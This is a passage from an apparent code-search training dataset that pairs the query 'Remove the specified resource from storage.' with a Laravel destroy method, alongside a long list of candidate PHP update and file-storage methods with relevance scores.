/* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { Carbon::setlocale(LC_TIME, 'id'); $now = Carbon::now(); $date = Infopkl::where('id',1)->value('date'); if ($now >= $date) { return view('404'); }else { $userid = Auth::user()->id; $cob = DB::table('join_company')->where('user_id',$userid)->value('company_id'); $yu = Perusahaan::find($cob); $as = $yu->student + 1; $yu->student = $as; $yu->save(); $as = Pendaftaran::find($id); $as->delete(); return redirect('user/join'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public function delete(): void\n {\n unlink($this->path);\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n 